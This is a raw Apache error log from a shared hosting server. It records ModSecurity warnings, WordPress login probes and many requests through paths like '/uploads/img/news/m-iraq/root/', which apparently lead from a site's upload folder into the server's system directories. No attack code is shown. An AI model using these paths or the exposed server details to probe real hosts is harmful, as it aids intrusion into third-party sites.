[Fri Jul 17 08:20:07.892977 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/cryptsetup/' is executable
[Fri Jul 17 08:20:07.893010 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/apache2/' is executable
[Fri Jul 17 08:20:07.976983 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.068104 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.181308 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.347910 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.641926 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/senderverifybypasshosts
[Fri Jul 17 08:20:08.724016 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.821053 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:08.996743 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.140269 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYYaUJv0yl2bIgVrkMDgAAABU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:20:09.140303 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYYaUJv0yl2bIgVrkMDgAAABU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:20:09.180921 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.271520 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.378078 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.640665 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.742372 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:09.835506 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.025365 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.123042 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.220467 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.284961 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:47356] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:10.683301 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.769977 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:10.952142 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:11.043220 2026] [security2:error] [pid 1994956:tid 1994956] [client 52.167.144.196:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYYgG5-NXx3Mem1QgM7gAAAA8"]
[Fri Jul 17 08:20:11.043253 2026] [security2:error] [pid 1994956:tid 1994956] [client 52.167.144.196:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYYgG5-NXx3Mem1QgM7gAAAA8"]
[Fri Jul 17 08:20:11.045358 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:11.045782 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/sg3_utils-libs/"] [unique_id "almYYzRCJXF37-WnVv0hYwAAABI"]
[Fri Jul 17 08:20:11.045817 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/sg3_utils-libs/"] [unique_id "almYYzRCJXF37-WnVv0hYwAAABI"]
[Fri Jul 17 08:20:11.646779 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:12.232153 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:40882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:12.276411 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty61/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 08:20:12.364879 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:12.456921 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:12.925137 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:13.106978 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:13.289105 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:13.379865 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:13.742906 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty29/subsystem/tty61/power/control"] [unique_id "almYZZOFLENLI63GGOEI9wAAAAQ"]
[Fri Jul 17 08:20:13.742936 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty29/subsystem/tty61/power/control"] [unique_id "almYZZOFLENLI63GGOEI9wAAAAQ"]
[Fri Jul 17 08:20:14.141935 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:41024] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:14.202581 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:14.655246 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:15.053537 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:41080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:15.566294 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:15.657935 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:16.501456 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:16.775937 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:16.866402 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:16.969872 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:17.011968 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYaF2NhE8i6ppze4esjgAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1152&page_105=1619
[Fri Jul 17 08:20:17.012004 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYaF2NhE8i6ppze4esjgAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1152&page_105=1619
[Fri Jul 17 08:20:17.153446 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/physical_node/rescan
[Fri Jul 17 08:20:17.426424 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:17.518190 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:17.776694 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 57.141.18.15:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory55/node0/memory106/subsystem/uevent
[Fri Jul 17 08:20:17.804143 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:17.986769 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:18.170395 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:18.415376 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty10/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 08:20:18.451834 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty43/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 08:20:18.537074 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:18.561683 2026] [proxy_fcgi:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:20:18.626768 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:18.807519 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.112406 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.176713 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.266901 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.266981 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.267219 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.364034 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:19.724531 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty38/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 08:20:19.814922 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/device/driver/bind
[Fri Jul 17 08:20:19.905286 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:20.095103 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty63/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 08:20:20.184725 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty59/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 08:20:20.274626 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:20.365312 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:20.459714 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:20.549868 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty52/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 08:20:20.641431 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:21.097156 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty47/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 08:20:21.282145 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:21.552497 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:21.645043 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty60/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 08:20:21.734951 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:21.830145 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.098854 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.193291 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.287471 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.376031 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.467384 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.514591 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:46138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:22.560031 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.655316 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:22.924447 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.106434 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.197727 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.379390 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.561810 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.744684 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:23.745905 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/class/tty/tty37/subsystem/tty51/"] [unique_id "almYb5OFLENLI63GGOEJAQAAAAQ"]
[Fri Jul 17 08:20:23.745928 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/class/tty/tty37/subsystem/tty51/"] [unique_id "almYb5OFLENLI63GGOEJAQAAAAQ"]
[Fri Jul 17 08:20:23.839283 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:24.017299 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/eject
[Fri Jul 17 08:20:24.029268 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:46208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:24.382566 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:24.562923 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:24.670287 2026] [core:crit] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/ossec/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/ossec/' is executable
[Fri Jul 17 08:20:24.710963 2026] [core:crit] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/clcpapi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/clcpapi/' is executable
[Fri Jul 17 08:20:24.749027 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:24.839658 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:24.930764 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:25.201366 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:46274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:25.205721 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:25.206775 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/alt/php73/"] [unique_id "almYcVxP5-SsqbGuGB2j5QAAAAA"]
[Fri Jul 17 08:20:25.206814 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/alt/php73/"] [unique_id "almYcVxP5-SsqbGuGB2j5QAAAAA"]
[Fri Jul 17 08:20:25.297720 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:27.131229 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:27.738553 2026] [security2:error] [pid 1993572:tid 1993572] [client 64.227.190.95:34798] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/wp-login.php"] [unique_id "almYc4l9vhFBGA6D8l91GgAAAAw"]
[Fri Jul 17 08:20:27.865494 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:46472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:28.515947 2026] [security2:error] [pid 1994966:tid 1994966] [client 64.227.190.95:34814] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/wp-admin/"] [unique_id "almYdLyEqmgiTSUa55oGkQAAABA"]
[Fri Jul 17 08:20:28.918136 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYdHf2WrySr2miwA72bgAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1132&page_105=1812
[Fri Jul 17 08:20:28.918190 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYdHf2WrySr2miwA72bgAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1132&page_105=1812
[Fri Jul 17 08:20:29.296966 2026] [security2:error] [pid 1993604:tid 1993604] [client 64.227.190.95:34828] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/wordpress/wp-login.php"] [unique_id "almYdYha5y5fYnQ1qRrufQAAAAE"]
[Fri Jul 17 08:20:29.303275 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:46600] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:30.018428 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:46636] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:30.072684 2026] [security2:error] [pid 1994966:tid 1994966] [client 64.227.190.95:34832] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/wp/wp-login.php"] [unique_id "almYdryEqmgiTSUa55oGkgAAABA"]
[Fri Jul 17 08:20:30.838403 2026] [security2:error] [pid 1993574:tid 1993574] [client 64.227.190.95:34848] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almYdt0t9Kb_MdNxrg69ogAAAAM"]
